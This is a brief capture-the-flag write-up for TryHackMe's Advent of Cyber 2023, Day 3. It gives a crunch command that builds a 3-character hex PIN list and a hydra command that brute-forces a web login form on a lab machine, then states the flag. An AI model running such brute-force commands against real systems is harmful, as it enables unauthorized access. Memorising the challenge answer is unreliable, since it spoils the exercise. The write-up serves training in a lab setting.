Advent of Cyber 2023 — Day 3

Using crunch and hydra, find the PIN code to access the control system and unlock the door. What is the flag?

create password list with crunch: crunch 3 3 0123456789ABCDEF -o 3digits.txt

crack the password with hydra: hydra -l ‘’ -P 3digits.txt -f -v MACHINE-IP http-post-form “/login.php:pin=^PASS^:Access denied” -s 8000

THM{pin-code-brute-force}

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